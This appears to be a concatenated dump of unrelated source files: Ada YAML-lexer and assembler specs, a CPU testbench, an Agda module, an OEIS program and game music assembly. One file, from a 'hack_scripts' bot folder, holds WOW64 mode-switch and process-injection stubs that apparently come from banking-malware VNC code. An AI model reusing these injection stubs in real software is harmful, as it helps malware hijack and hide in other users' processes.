'=' | '+' | '$' | '_' | '.' | '!' | '~' | '*' | ''' | '-';
-----------------------------------------------------------------------------
-- utility subroutines (used by child packages)
-----------------------------------------------------------------------------
procedure End_Line (L : in out Instance) with
Pre => L.Cur in Comment_Or_Line_End;
-- this function escapes a given string by converting all non-printable
-- characters plus '"', ''' and '\', into c-style backslash escape
-- sequences. it also surrounds the string with double quotation marks.
-- this is primarily used for error message rendering.
function Escaped (S : String) return String;
function Escaped (C : Character) return String with Inline;
function Escaped (C : Text.Reference) return String with Inline;
function Next_Is_Plain_Safe (L : Instance) return Boolean with Inline;
procedure Start_Token (L : in out Instance) with Inline;
type Line_Start_Kind is (Directives_End_Marker, Document_End_Marker,
Comment, Newline, Stream_End, Content);
function Start_Line (L : in out Instance) return Line_Start_Kind;
-----------------------------------------------------------------------------
-- lexer states
-----------------------------------------------------------------------------
-- initial state of the lexer. in this state, the lexer is at the beginning
-- of a line outside a YAML document. this state scans for directives,
-- explicit directives / document end markers, or the implicit start of a
-- document.
function Outside_Doc (L : in out Instance; T : out Token) return Boolean;
-- state for reading the YAML version number after a '%YAML' directive.
function Yaml_Version (L : in out Instance; T : out Token) return Boolean;
-- state for reading a tag shorthand after a '%TAG' directive.
function Tag_Shorthand (L : in out Instance; T : out Token) return Boolean;
-- state for reading a tag URI after a '%TAG' directive and the
-- corresponding tag shorthand.
function At_Tag_Uri (L : in out Instance; T : out Token) return Boolean;
-- state for reading parameters of unknown directives.
function Unknown_Directive (L : in out Instance; T : out Token)
return Boolean;
-- state that indicates the lexer does not expect further content in the
-- current line. it will skip whitespace and comments until the end of the
-- line and raise an error if it encounters any content. This state never
-- yields a token.
function Expect_Line_End (L : in out Instance; T : out Token) return Boolean;
-- state at the end of the input stream.
function Stream_End (L : in out Instance; T : out Token) return Boolean;
-- state at the beginnig of a line inside a YAML document when in block
-- mode. reads indentation and directive / document end markers.
function Line_Start (L : in out Instance; T : out Token) return Boolean;
-- state at the beginnig of a line inside a YAML document when in flow
-- mode. this differs from Line_Start as it does not yield indentation
-- tokens - instead, it just checks whether the indentation is more than
-- the surrounding block element.
function Flow_Line_Start (L : in out Instance; T : out Token) return Boolean;
-- similar to Line_Indentation but for inside flow content
function Flow_Line_Indentation (L : in out Instance; T : out Token)
return Boolean;
-- state inside a line in block mode.
function Inside_Line (L : in out Instance; T : out Token) return Boolean;
-- state inside a line in block mode where the next token on this line will
-- set an indentation level.
function Indentation_Setting_Token (L : in out Instance; T : out Token)
return Boolean;
-- state after a content token in a line. used for skipping whitespace.
function After_Token (L : in out Instance; T : out Token) return Boolean
with Post => After_Token'Result = False;
-- state after a content token which allows subsequent tokens on the same
-- line to set a new indentation level. These are tokens which allow the
-- start of a complex node after them, namely as `- `, `: ` and `? `.
function Before_Indentation_Setting_Token
(L : in out Instance; T : out Token) return Boolean;
-- state after a content token which enables a json-style mapping value
-- (i.e. a ':' without succeeding whitespace) following it.
function After_Json_Enabling_Token (L : in out Instance; T : out Token)
return Boolean;
-- lexing a plain scalar will always eat the indentation of the following
-- line since the lexer must check whether the plain scalar continues on
-- that line. this state is used for yielding that indentation after a
-- plain scalar has been read.
function Line_Indentation
(L : in out Instance; T : out Token) return Boolean;
-- similar to Indentation_After_Plain_Scalar, but used for a directive end
-- marker ending a plain scalar.
function Line_Dir_End (L : in out Instance; T : out Token) return Boolean;
-- similar to Indentation_After_Plain_Scalar, but used for a document end
-- marker ending a plain scalar.
function Line_Doc_End (L : in out Instance; T : out Token) return Boolean;
-- state after having read a suffix of a tag or annotation namespace. this
-- will always yield the corresponding suffix.
function At_Suffix (L : in out Instance; T : out Token) return Boolean;
-- state after having read an annotation or tag. checks whether a parameter
-- list follows.
function After_Suffix (L : in out Instance; T : out Token) return Boolean;
end Yaml.Lexer;
|
lab6/testbench.asm | huijjj/Architecture | 8 | 242111 | .ORG 0
JMP ENTRY
VAR1 .BSC 0x0001
VAR2 .BSC 0xFFFF
STACK .BSS 32
ENTRY: LHI $0, 0
WWD $0 ; TEST #1-1 : LHI (= 0x0000)
LHI $1, 0
WWD $1 ; TEST #1-2 : LHI (= 0x0000)
LHI $2, 0
WWD $2 ; TEST #1-3 : LHI (= 0x0000)
LHI $3, 0
WWD $3 ; TEST #1-4 : LHI (= 0x0000)
ADI $0, $1, 1
WWD $0 ; TEST #2-1 : ADI (= 0x0001)
ADI $0, $0, 1
WWD $0 ; TEST #2-2 : ADI (= 0x0002)
ORI $1, $2, 1
WWD $1 ; TEST #3-1 : ORI (= 0x0001)
ORI $1, $1, 2
WWD $1 ; TEST #3-2 : ORI (= 0x0003)
ORI $1, $1, 3
WWD $1 ; TEST #3-3 : ORI (= 0x0003)
ADD $3, $0, $2
WWD $3 ; TEST #4-1 : ADD (= 0x0002)
ADD $3, $1, $2
WWD $3 ; TEST #4-2 : ADD (= 0x0003)
ADD $3, $0, $1
WWD $3 ; TEST #4-3 : ADD (= 0x0005)
SUB $3, $0, $2
WWD $3 ; TEST #5-1 : SUB (= 0x0002)
SUB $3, $2, $0
WWD $3 ; TEST #5-2 : SUB (= 0xFFFE)
SUB $3, $1, $2
WWD $3 ; TEST #5-3 : SUB (= 0x0003)
SUB $3, $2, $1
WWD $3 ; TEST #5-4 : SUB (= 0xFFFD)
SUB $3, $0, $1
WWD $3 ; TEST #5-5 : SUB (= 0xFFFF)
SUB $3, $1, $0
WWD $3 ; TEST #5-6 : SUB (= 0x0001)
AND $3, $0, $2
WWD $3 ; TEST #6-1 : AND (= 0x0000)
AND $3, $1, $2
WWD $3 ; TEST #6-2 : AND (= 0x0000)
AND $3, $0, $1
WWD $3 ; TEST #6-3 : AND (= 0x0002)
ORR $3, $0, $2
WWD $3 ; TEST #7-1 : ORR (= 0x0002)
ORR $3, $1, $2
WWD $3 ; TEST #7-2 : ORR (= 0x0003)
ORR $3, $0, $1
WWD $3 ; TEST #7-3 : ORR (= 0x0003)
NOT $3, $0
WWD $3 ; TEST #8-1 : NOT (= 0xFFFD)
NOT $3, $1
WWD $3 ; TEST #8-2 : NOT (= 0xFFFC)
NOT $3, $2
WWD $3 ; TEST #8-3 : NOT (= 0xFFFF)
TCP $3, $0
WWD $3 ; TEST #9-1 : TCP (= 0xFFFE)
TCP $3, $1
WWD $3 ; TEST #9-2 : TCP (= 0xFFFD)
TCP $3, $2
WWD $3 ; TEST #9-3 : TCP (= 0x0000)
SHL $3, $0
WWD $3 ; TEST #10-1 : SHL (= 0x0004)
SHL $3, $1
WWD $3 ; TEST #10-2 : SHL (= 0x0006)
SHL $3, $2
WWD $3 ; TEST #10-3 : SHL (= 0x0000)
SHR $3, $0
WWD $3 ; TEST #11-1 : SHR (= 0x0001)
SHR $3, $1
WWD $3 ; TEST #11-2 : SHR (= 0x0001)
SHR $3, $2
WWD $3 ; TEST #11-3 : SHR (= 0x0000)
LWD $0, $2, VAR1
WWD $0 ; TEST #12-1 : LWD (= 0x0001)
LWD $1, $2, VAR2
WWD $1 ; TEST #12-2 : LWD (= 0xFFFF)
SWD $1, $2, VAR1
SWD $0, $2, VAR2
LWD $0, $2, VAR1
WWD $0 ; TEST #13-1 : WWD (= 0xFFFF)
LWD $1, $2, VAR2
WWD $1 ; TEST #13-2 : WWD (= 0x0001)
JMP JMP0
JMP0: WWD $0 ; TEST #14-1 : JMP (= 0xFFFF)
JMP JMP1
HLT
JMP1: WWD $1 ; TEST #14-2 : JMP (= 0x0001)
BNE $2, $3, BNE1
JMP BNE2
BNE1: HLT
BNE2: WWD $0 ; TEST #15-1 : BNE (= 0xFFFF)
BNE $1, $2, BNE3
HLT
BNE3: WWD $1 ; TEST #15-2 : BNE (= 0x0001)
BEQ $1, $2, BEQ1
JMP BEQ2
BEQ1: HLT
BEQ2: WWD $0 ; TEST #16-1 : BEQ (= 0xFFFF)
BEQ $2, $3, BEQ3
HLT
BEQ3: WWD $1 ; TEST #16-2 : BEQ (= 0x0001)
BGZ $0, BGZ1
JMP BGZ2
BGZ1: HLT
BGZ2: WWD $0 ; TEST #17-1 : BGZ (= 0xFFFF)
BGZ $1, BGZ3
HLT
BGZ3: WWD $1 ; TEST #17-2 : BGZ (= 0x0001)
BGZ $2, BGZ4
JMP BGZ5
BGZ4: HLT
BGZ5: WWD $0 ; TEST #17-3 : BGZ (= 0xFFFF)
BLZ $0, BLZ1
HLT
BLZ1: WWD $1 ; TEST #18-1 : BLZ (= 0x0001)
BLZ $1, BLZ2
JMP BLZ3
BLZ2: HLT
BLZ3: WWD $0 ; TEST #18-2 : BLZ (= 0xFFFF)
BLZ $2, BLZ4
JMP BLZ5
BLZ4: HLT
BLZ5: WWD $1 ; TEST #18-3 : BLZ (= 0x0001)
JAL SIMPLE1
WWD $0 ; TEST #19-1 : JAL & JPR (= 0xFFFF)
JAL SIMPLE2
HLT
WWD $1 ; TEST #19-2 : JAL & JPR (= 0x0001)
LHI $3, 0
ORI $3, $3, STACK
LHI $0, 0
ADI $0, $0, 5
JAL FIB
WWD $0 ; TEST #19-3 : JAL & JPR (= 0x0008)
JMP PREFIB1
PREFIB2: ADI $1, $2, 0
JRL $1
WWD $0 ; TEST #20 : JAL & JRL & JPR (= 0x0022)
HLT ; FINISHED
SIMPLE2: ADI $2, $2, 1
SIMPLE1: JPR $2
HLT
PREFIB1: JAL PREFIB2
FIB: ADI $1, $0, -1
BGZ $1, FIBRECUR
LHI $0, 0
ORI $0, $0, 1
JPR $2
HLT
FIBRECUR: SWD $2, $3, 0
SWD $0, $3, 1
ADI $3, $3, 2
ADI $0, $0, -2
JAL FIB
LWD $1, $3, -1
SWD $0, $3, -1
ADI $0, $1, -1
JAL FIB
LWD $1, $3, -1
LWD $2, $3, -2
ADD $0, $0, $1
ADI $3, $3, -2
JPR $2
HLT
.END |
Source/assemble_functions.ads | bkold/RISC-CPU-Assembler | 0 | 4454 | <filename>Source/assemble_functions.ads
with Ada.Strings;
with Ada.Strings.Maps;
with Ada.Strings.Bounded;
with Ada.Text_IO;
with Ada.Text_IO.Bounded_IO;
with Improved_Trie;
use Ada.Text_IO;
Package Assemble_Functions is
--receives the input file and a created output file.
--returns a completed output file and whether the operation had errors or not
function Build (Source_File, Output_File : in out File_Type) return Boolean;
private
type Unsigned_32 is mod 2**32;
type Unsigned_32_Array is array (Positive range <>, Natural range <>) of Unsigned_32;
package SB is new Ada.Strings.Bounded.Generic_Bounded_Length(Max => 36);
package SB_IO is new Ada.Text_IO.Bounded_IO(Bounded=>SB);
package Mod_IO is new Ada.Text_IO.Modular_IO(Num=>Unsigned_32);
package Imm_Trie renames Improved_Trie;
subtype Letter is Character with
Static_Predicate => Letter in 'A'..'Z' | 'a'..'z';
type Op_Codes is (
BAL_32, BEQ_32, BGEZ_32, BGEZAL_32, BGTZ_32, BGTZAL_32, BLTZ_32, BLTZAL_32, BLEZ_32, BLEZAL_32,
J_32, JAL_32, SJAL_32, JALR_32, JR_32, ADD_32, ADDU_32, AND_32, DIV_32, DIVU_32,
MOD_32, MODU_32, MUL_32, MULU_32, NAND_32, NOR_32, OR_32, SUB_32, SUBU_32, SLL_32,
SLT_32, SRA_32, SRL_32, SLTU_32, XOR_32, ADDI_32, ANDI_32, NORI_32, ORI_32, SLTI_32,
SLLI_32, SRAI_32, SRLI_32, SUBI_32, XORI_32, ADDIU_32, SLRIU_32, SUBIU_32, LUI_32, LW_32,
SW_32, BCPU_32, BCPUJ_32, BCPUJR_32, EXIT_32, SLEEP_32);
--2Darray of special numbers for opcodes. They are mapped to the above op_codes
Specials_Array : constant Unsigned_32_Array := (
(0, 0, 2#00010#, 2#10010#, 2#00011#, 2#10011#, 2#00100#, 2#10100#, 2#00101#, 2#10101#,
2#000101#, 2#000111#, 2#001111#, 2#11000#, 2#01000#, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 2#101000#, 2#110000#, 2#110001#, 2#110010#, 2#101100#,
2#110100#, 2#110101#, 2#110110#, 2#101110#, 2#101111#, 2#101001#, 0, 2#101111#, 2#011001#, 2#010001#,
2#010011#, 0, 0, 0, 0, 0),
(0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 2#001000#, 2#001001#, 2#100000#, 2#000100#, 2#000101#,
2#000110#, 2#000111#, 2#100110#, 2#100111#, 2#100001#, 2#010000#, 2#110000#, 2#001100#, 2#001101#, 2#100100#,
2#101100#, 2#000011#, 2#000010#, 2#101101#, 2#111000#, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0)
);
type Registers is (r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11,
r12, r13, r14, r15, r16, r17, r18, r19, r20, r21, r22, r23, r24,
r25, r26, r27, r28, r29, r30, r31);
type Field_Record is record
Field_1: Unsigned_32;
Field_2: Unsigned_32;
Field_3: Unsigned_32;
IMM : Unsigned_32;
Base : Unsigned_32;
Special_1:Unsigned_32;
Special_2: Unsigned_32;
end record;
type Valid_Binary is (Bits_5, Bits_16, Signed_Bits_16, Bits_26);
subtype Valid_Binary_Labels is Valid_Binary range Signed_Bits_16..Bits_26;
Current_Line_Number : Positive;
Instruction_Number : Natural;
Error_Flag : Boolean;
Label_Tree : Imm_Trie.Trie.Tree;
Tab : constant Character := Character'Val(9);
White_Space_Sequ : constant Ada.Strings.Maps.Character_Sequence := ' ' & Tab;
White_Space : constant Ada.Strings.Maps.Character_Set := Ada.Strings.Maps.To_Set(White_Space_Sequ);
--receives a line of assembly and returns a finished binary string.
function Assemble (Input : in String) return SB.Bounded_String;
--returns a clean bounded string. No tabs, not leading and trailing space, and no comment
function Pull_Clean_Line (Source_File : in File_Type) return String;
--iterates the file, finding labels : [EXAMPLE]
procedure Get_Labels (Source_File : in out File_Type);
--adds the found label to a trie
procedure Add_Label (Current_Line : in String; Instruction_Number : in Integer);
--parses string
--Op_Code is a Op_Codes type for case statements
--Field_1-3 are the operands for an instruction
procedure Get_Fields (Input : in String; Op_Code : out Op_Codes; Field_1, Field_2, Field_3: out SB.Bounded_String);
--converts the fields into proper binary
--calls Get_register and Get_Binary_XX
procedure Translate_Fields (Op_Code : in Op_Codes; Field_1_String, Field_2_String, Field_3_String : in SB.Bounded_String; Field_Numbers : in out Field_Record);
--looks up functions
--gets the special fields for a given opcode
procedure Get_Specials (Op_Code : in Op_Codes; Field_Numbers : in out Field_Record);
--converts a bounded_string to Op_Codes type
function Get_Op_Code (Input : in String) return Op_Codes;
--gets binary value of register
function Get_Register (Input : in SB.Bounded_String) return Unsigned_32;
--gets Binary version of integer value
function Get_Binary (Input : in SB.Bounded_String; Length : in Valid_Binary) return Unsigned_32;
--gets Binary address of label
function Get_Binary_Label (Input : in SB.Bounded_String; Length : in Valid_Binary_Labels) return Unsigned_32;
--called when unexpected errors occure from incorrect inputs. Sets the Error_Flag to true.
procedure Error_Register (Input : in String);
procedure Error_Missing_Operand;
procedure Error_Label;
procedure Error_Length;
procedure Error_Opcode (Input : in String);
procedure Error_Number (Input : in String);
procedure Error_Unknown (Input : in String);
end Assemble_Functions; |
Dark soft/IFSB_Bot src/IFSB_Source Code/10.vnc/VNC/Common/i386/w64stubs.asm | ExaByt3s/hack_scripts | 3 | 5712 | <gh_stars>1-10
;//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
;// VNC project. Version 1.9.17.3
;//
;// module: w64stubs.asm
;// $Revision: 184 $
;// $Date: 2014-07-04 13:31:58 +0400 (Пт, 04 июл 2014) $
;// description:
;// X86 and WOW64 context stubs.
.686p
_TEXT segment
;// REX prefixes used
REXW MACRO
db 48h
ENDM
REXB MACRO
db 41h
ENDM
REXR MACRO
db 4Ch
ENDM
align 10h
;// LONG _cdecl Wow64NativeCall(ULONGLONG NativeFunctionAddress, ULONGLONG NumberOfArgs, ...)
;// All arguments are ULONG64 values.
;// Switches processor into the Long mode and calls the specified native function with the specified argument list.
_Wow64NativeCall proc
push ebp
push ebx
push esi
mov ebp, esp
lea eax, [esp-8]
and eax, 0fffffff8h
mov esp, eax
lea ecx, [ebp+10h]
push 33h
call @@1
;// ---- x64 code starts here --------------------------------------------------------------------------------------------
push ebp
push esi
sub esp,20h
mov ebp,esp
and esp,0fffffff0h
REXW
mov esi, [ecx] ;// mov rsi, [rcx]
lea edx, [ecx+8]
mov ecx, [edx]
add ecx, 1
and ecx, 0feh
@@:
push dword ptr [edx+ecx*8]
loop @B
REXW
mov ecx, [esp] ;// mov rcx, [rsp]
REXW
mov edx, [esp+8] ;// mov rdx, [rsp+8]
REXR
mov eax, [esp+10h] ;// mov r8, [rsp+10h]
REXR
mov ecx, [esp+18h] ;// mov r9, [rsp+18h]
call esi
mov esp,ebp
add esp,20h
pop esi
pop ebp
retf
align 10h
;// ---- End of x64 code ------------------------------------------------------------------------------------------------
@@1:
call fword ptr[esp]
mov esi, eax ;// A serializing instruction is required here, to avoid access violation later
xor eax,eax ;// when working with the stack.
cpuid ;//
mov eax, esi ;//
mov esp, ebp
pop esi
pop ebx
pop ebp
ret
_Wow64NativeCall endp
;// WOW64 inject context stub.
;// Receives pointer to INJECT_CONTEXT structure in RAX
_Wow64InjectStub proc
push [eax] ;// retpoint
push ecx
push edx
REXB
push eax ;// push r8
REXB
push ecx ;// push r9
push ebp
REXW
mov ebp, esp
REXW
;// Since we get here by the context switch from the patched application entry point we always have the stack misaligned.
;// Here we have to align it on 16-bytes boundary to avoid application crash while saving SSE-state.
sub esp, 38h
REXW
mov edx, [eax+8]
REXW
mov ecx, [eax+10h]
call edx
REXW
mov esp, ebp
pop ebp
REXB
pop ecx
REXB
pop eax
pop edx
pop ecx
ret
_Wow64InjectStub endp
_Win32InjectStub proc
push [eax]
mov edx, [eax+8]
mov ecx, [eax+10h]
push ecx
call edx
ret
_Win32InjectStub endp
_TEXT ends
public _Wow64NativeCall
public _Wow64InjectStub
end
|
Cubical/Relation/Binary/Converse.agda | bijan2005/univalent-foundations | 0 | 8579 | {-# OPTIONS --cubical --without-K --safe #-}
module Cubical.Relation.Binary.Converse where
open import Cubical.Foundations.Prelude
open import Cubical.Foundations.Function
open import Cubical.Foundations.HLevels
open import Cubical.Data.Prod hiding (map)
open import Cubical.HITs.PropositionalTruncation
open import Cubical.Relation.Binary
------------------------------------------------------------------------
-- Properties
module _ {a ℓ} {A : Type a} (∼ : Rel A ℓ) where
reflexive : Reflexive ∼ → Reflexive (flip ∼)
reflexive r = r
irrefl : Irreflexive ∼ → Irreflexive (flip ∼)
irrefl i = i
symmetric : Symmetric ∼ → Symmetric (flip ∼)
symmetric s = s
transitive : Transitive ∼ → Transitive (flip ∼)
transitive t = flip t
asym : Asymmetric ∼ → Asymmetric (flip ∼)
asym a = a
rawtotal : RawTotal ∼ → RawTotal (flip ∼)
rawtotal t x y = t y x
total : Total ∼ → Total (flip ∼)
total t x y = t y x
resp : ∀ {p} (P : A → hProp p) → Symmetric ∼ →
P Respects ∼ → P Respects (flip ∼)
resp _ sym resp ∼ = resp (sym ∼)
max : ∀ {⊥} → Minimum ∼ ⊥ → Maximum (flip ∼) ⊥
max min = min
min : ∀ {⊤} → Maximum ∼ ⊤ → Minimum (flip ∼) ⊤
min max = max
fromEq : FromEq ∼ → FromEq (flip ∼)
fromEq impl = impl ∘ map sym
toNotEq : ToNotEq ∼ → ToNotEq (flip ∼)
toNotEq tne y∼x x≡y = tne y∼x (map sym x≡y)
antisym : Antisymmetric ∼ → Antisymmetric (flip ∼)
antisym ans = flip ans
compare : Trichotomous ∼ → Trichotomous (flip ∼)
compare cmp x y with cmp x y
... | tri< x<y x≡y y≮x = tri> y≮x x≡y x<y
... | tri≡ x≮y x≡y y≮x = tri≡ y≮x x≡y x≮y
... | tri> x≮y x≡y y<x = tri< y<x x≡y x≮y
module _ {a ℓ₁ ℓ₂} {A : Type a} (∼₁ : Rel A ℓ₁) (∼₂ : Rel A ℓ₂) where
resp₂ : ∼₁ Respects₂ ∼₂ → (flip ∼₁) Respects₂ ∼₂
resp₂ (resp₁ , resp₂) = resp₂ , resp₁
module _ {a b ℓ} {A : Type a} {B : Type b} (∼ : REL A B ℓ) where
dec : Decidable ∼ → Decidable (flip ∼)
dec dec = flip dec
------------------------------------------------------------------------
-- Structures
module _ {a ℓ} {A : Type a} {≈ : Rel A ℓ} where
isPartialEquivalence : IsPartialEquivalence ≈ → IsPartialEquivalence (flip ≈)
isPartialEquivalence eq = record
{ symmetric = symmetric ≈ Eq.symmetric
; transitive = transitive ≈ Eq.transitive
}
where module Eq = IsPartialEquivalence eq
isEquivalence : IsEquivalence ≈ → IsEquivalence (flip ≈)
isEquivalence eq = record
{ isPartialEquivalence = isPartialEquivalence Eq.isPartialEquivalence
; reflexive = reflexive ≈ Eq.reflexive
}
where module Eq = IsEquivalence eq
isDecEquivalence : IsDecEquivalence ≈ → IsDecEquivalence (flip ≈)
isDecEquivalence eq = record
{ isEquivalence = isEquivalence Dec.isEquivalence
; _≟_ = dec ≈ Dec._≟_
}
where module Dec = IsDecEquivalence eq
module _ {a ℓ} {A : Set a} {∼ : Rel A ℓ} where
isPreorder : IsPreorder ∼ → IsPreorder (flip ∼)
isPreorder O = record
{ reflexive = reflexive ∼ O.reflexive
; transitive = transitive ∼ O.transitive
}
where module O = IsPreorder O
isPartialOrder : IsPartialOrder ∼ → IsPartialOrder (flip ∼)
isPartialOrder O = record
{ isPreorder = isPreorder O.isPreorder
; antisym = antisym ∼ O.antisym
}
where module O = IsPartialOrder O
isTotalOrder : IsTotalOrder ∼ → IsTotalOrder (flip ∼)
isTotalOrder O = record
{ isPartialOrder = isPartialOrder O.isPartialOrder
; total = total ∼ O.total
}
where module O = IsTotalOrder O
isDecTotalOrder : IsDecTotalOrder ∼ → IsDecTotalOrder (flip ∼)
isDecTotalOrder O = record
{ isTotalOrder = isTotalOrder O.isTotalOrder
; _≤?_ = dec ∼ O._≤?_
}
where module O = IsDecTotalOrder O
isStrictPartialOrder : IsStrictPartialOrder ∼ →
IsStrictPartialOrder (flip ∼)
isStrictPartialOrder O = record
{ irrefl = irrefl ∼ O.irrefl
; transitive = transitive ∼ O.transitive
}
where module O = IsStrictPartialOrder O
isStrictTotalOrder : IsStrictTotalOrder ∼ →
IsStrictTotalOrder (flip ∼)
isStrictTotalOrder O = record
{ transitive = transitive ∼ O.transitive
; compare = compare ∼ O.compare
}
where module O = IsStrictTotalOrder O
module _ {a ℓ} {A : Type a} where
equivalence : Equivalence A ℓ → Equivalence A ℓ
equivalence S = record
{ isEquivalence = isEquivalence S.isEquivalence
}
where module S = Equivalence S
decEquivalence : DecEquivalence A ℓ → DecEquivalence A ℓ
decEquivalence S = record
{ isDecEquivalence = isDecEquivalence S.isDecEquivalence
}
where module S = DecEquivalence S
module _ {a ℓ} {A : Type a} where
preorder : Preorder A ℓ → Preorder A ℓ
preorder O = record
{ isPreorder = isPreorder O.isPreorder
}
where module O = Preorder O
partialOrder : PartialOrder A ℓ → PartialOrder A ℓ
partialOrder O = record
{ isPartialOrder = isPartialOrder O.isPartialOrder
}
where module O = PartialOrder O
totalOrder : TotalOrder A ℓ → TotalOrder A ℓ
totalOrder O = record
{ isTotalOrder = isTotalOrder O.isTotalOrder
}
where module O = TotalOrder O
decTotalOrder : DecTotalOrder A ℓ → DecTotalOrder A ℓ
decTotalOrder O = record
{ isDecTotalOrder = isDecTotalOrder O.isDecTotalOrder
}
where module O = DecTotalOrder O
strictPartialOrder : StrictPartialOrder A ℓ →
StrictPartialOrder A ℓ
strictPartialOrder O = record
{ isStrictPartialOrder = isStrictPartialOrder O.isStrictPartialOrder
}
where module O = StrictPartialOrder O
strictTotalOrder : StrictTotalOrder A ℓ →
StrictTotalOrder A ℓ
strictTotalOrder O = record
{ isStrictTotalOrder = isStrictTotalOrder O.isStrictTotalOrder
}
where module O = StrictTotalOrder O
|
programs/oeis/328/A328995.asm | neoneye/loda | 22 | 163442 | ; A328995: Dirichlet g.f. = Product_{primes p == 1 mod 3} (1+p^(-s))/(1-p^(-s)).
; 1,2,2,2,0,2,2,2,2,0,2,2,2,2,0,4,2,2,2,0,0,2,4,2,0,2,2,2,2,0,2,0,2,2,0,2,4,2,2,0,2,4,0,4,0,2,2,2,0,0,4,2,2,0,0,2,2,2,2,0,2,2,2,2,0,0,2,4,2,0,2,4,2,2,0,0,2,2,4,0,4,2,0,2,0
mul $0,6
seq $0,75423 ; rad(n) - 1, where rad(n) is the squarefree kernel of n (A007947).
seq $0,2324 ; Number of divisors of n == 1 (mod 3) minus number of divisors of n == 2 (mod 3).
|
audio/music/rivalbattle.asm | AtmaBuster/pokeplat-gen2-old | 2 | 242197 | <filename>audio/music/rivalbattle.asm
Music_RivalBattle:
channel_count 3
channel 1, Music_RivalBattle_Ch1
channel 2, Music_RivalBattle_Ch2
channel 3, Music_RivalBattle_Ch3
Music_RivalBattle_Ch1_sub_0:
volume_envelope 11, 2
note G_, 4
note G_, 4
note G_, 4
note E_, 4
note G_, 4
note G_, 4
sound_ret
Music_RivalBattle_Ch1_sub_1:
volume_envelope 11, 2
note F#, 4
note F#, 4
note F#, 4
note D#, 4
note F#, 4
note F#, 4
note F#, 2
volume_envelope 11, 4
note B_, 6
sound_ret
Music_RivalBattle_Ch1_sub_2:
note G_, 16
note G_, 1
rest 1
note E_, 6
note G_, 2
rest 2
octave 4
note C_, 2
rest 2
sound_ret
Music_RivalBattle_Ch1::
tempo 105
volume 7, 7
duty_cycle 3
pitch_offset 1
vibrato 8, 1, 5
note_type 12, 11, 2
octave 4
note G_, 1
note A_, 1
note G_, 1
note A_, 1
octave 3
note A#, 1
note A_, 1
note G#, 1
note G_, 1
note G#, 1
note G_, 1
note F#, 1
note F_, 1
note F#, 1
note F_, 1
note E_, 1
note D#, 1
note E_, 1
note D#, 1
note D_, 1
note C#, 1
note D_, 1
note C#, 1
note C_, 1
octave 2
note B_, 1
octave 3
note C_, 1
octave 2
note B_, 1
note A#, 1
note A_, 1
note A#, 1
note A_, 1
note G#, 1
note G_, 1
rest 2
octave 3
sound_call Music_RivalBattle_Ch1_sub_1
sound_call Music_RivalBattle_Ch1_sub_1
sound_call Music_RivalBattle_Ch1_sub_0
note G_, 2
octave 4
volume_envelope 11, 4
note C_, 6
octave 3
sound_call Music_RivalBattle_Ch1_sub_0
note G_, 2
octave 4
volume_envelope 11, 4
note C_, 4
octave 3
.loop
octave 3
volume_envelope 11, 7
sound_call Music_RivalBattle_Ch1_sub_2
octave 3
note A#, 16
note G_, 8
note A#, 8
sound_call Music_RivalBattle_Ch1_sub_2
note D#, 16
note F_, 6
note D#, 4
octave 3
note A#, 2
note A#, 2
octave 4
note D_, 2
note C_, 12
note D_, 4
note C_, 16
octave 3
note G_, 4
note A#, 4
octave 4
note D_, 4
note F_, 4
octave 3
note A#, 4
octave 4
note D_, 4
note F_, 6
note A#, 2
note G_, 14
note G_, 1
note E_, 1
note C_, 16
note F_, 4
note D_, 4
octave 3
note A#, 4
note F_, 4
octave 4
note A#, 4
note F_, 4
note D_, 4
octave 3
note A#, 2
note B_, 2
octave 4
note C_, 16
note E_, 6
note D_, 6
note C_, 4
note F_, 1
rest 1
note F_, 1
rest 1
note D_, 12
note D_, 1
rest 1
note D_, 1
rest 1
octave 3
note A#, 8
note A#, 2
note B_, 2
octave 4
note C_, 6
octave 3
note G_, 6
note F_, 4
note E_, 6
note F_, 6
note E_, 4
note A#, 1
rest 1
note A#, 1
rest 1
octave 4
note D_, 12
note D_, 1
rest 1
note D_, 1
rest 1
note F_, 8
note F_, 2
note F#, 2
note G_, 6
note D_, 6
note C_, 4
note E_, 6
note D_, 6
note C_, 4
octave 3
note G_, 8
octave 4
note C_, 4
octave 3
note G_, 16
octave 4
note C_, 4
octave 3
note G#, 8
octave 4
note C#, 4
octave 3
note G#, 16
octave 4
note C#, 4
octave 3
note A_, 8
octave 4
note D_, 4
octave 3
note A_, 16
octave 4
note D_, 4
octave 3
note B_, 8
octave 4
note E_, 4
octave 3
note B_, 16
octave 4
note E_, 4
octave 3
volume_envelope 7, -7
note F#, 16
volume_envelope 11, 0
note F#, 16
volume_envelope 11, 0
note F#, 16
volume_envelope 11, 7
note F#, 16
rest 2
volume_envelope 11, 2
sound_call Music_RivalBattle_Ch1_sub_0
note G_, 4
octave 4
note C_, 2
sound_loop 0, .loop
Music_RivalBattle_Ch2_sub_0:
note F#, 2
note F_, 2
note D#, 2
note C#, 2
octave 3
note B_, 2
octave 4
note C#, 2
note D#, 2
sound_ret
Music_RivalBattle_Ch2_sub_1:
octave 5
note C#, 1
octave 4
note B_, 1
octave 5
note C#, 1
octave 4
note B_, 4
sound_ret
Music_RivalBattle_Ch2_sub_2:
volume_envelope 12, 2
note C_, 4
note C_, 4
note C_, 2
octave 3
note G_, 2
octave 4
note C_, 4
note C_, 4
sound_ret
Music_RivalBattle_Ch2_sub_3:
volume_envelope 12, 2
octave 3
note B_, 4
note B_, 4
note B_, 2
note F#, 2
note B_, 4
note B_, 4
sound_ret
Music_RivalBattle_Ch2_sub_4:
note C_, 16
note C_, 1
rest 1
octave 3
note G_, 6
octave 4
note C_, 2
rest 2
note G_, 2
rest 2
sound_ret
Music_RivalBattle_Ch2::
duty_cycle 3
vibrato 8, 3, 6
note_type 12, 12, 2
octave 4
note B_, 1
sound_call Music_RivalBattle_Ch2_sub_1
note B_, 1
sound_call Music_RivalBattle_Ch2_sub_1
note B_, 1
sound_call Music_RivalBattle_Ch2_sub_1
note B_, 1
sound_call Music_RivalBattle_Ch2_sub_1
rest 2
sound_call Music_RivalBattle_Ch2_sub_3
note B_, 4
note B_, 2
volume_envelope 12, 4
octave 4
note D#, 6
sound_call Music_RivalBattle_Ch2_sub_3
note B_, 2
note F#, 2
note B_, 2
volume_envelope 12, 4
